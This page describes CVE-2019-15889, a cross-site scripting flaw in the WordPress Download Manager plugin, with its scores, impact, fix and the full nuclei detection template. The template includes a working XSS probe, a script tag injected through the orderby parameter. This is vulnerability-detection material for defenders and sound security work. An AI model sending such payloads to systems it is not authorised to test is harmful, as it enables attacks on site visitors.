WordPress Download Manager <2.9.94 - Cross-Site Scripting

mediumseverity

6.1CVSS score

11.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.

Fix

Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/download-manager/readme.txt
Positive when: contains "Download Manager" and "License:"
Send: GET {{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc
Positive when: contains "<script>alert(1)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-15889 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-15889

info:
  name: WordPress Download Manager <2.9.94 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability.
  reference:
    - https://www.cybersecurity-help.cz/vdb/SB2019041819
    - https://wordpress.org/plugins/download-manager/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15889
    - http://packetstormsecurity.com/files/154356/WordPress-Download-Manager-2.9.93-Cross-Site-Scripting.html
    - https://plugins.trac.wordpress.org/changeset/2070388/download-manager
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15889
    cwe-id: CWE-79
    epss-score: 0.11375
    epss-percentile: 0.96025
    cpe: cpe:2.3:a:wpdownloadmanager:wordpress_download_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpdownloadmanager
    product: "wordpress_download_manager"
    framework: wordpress
  tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,wpdownloadmanager,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Download Manager'
          - 'License:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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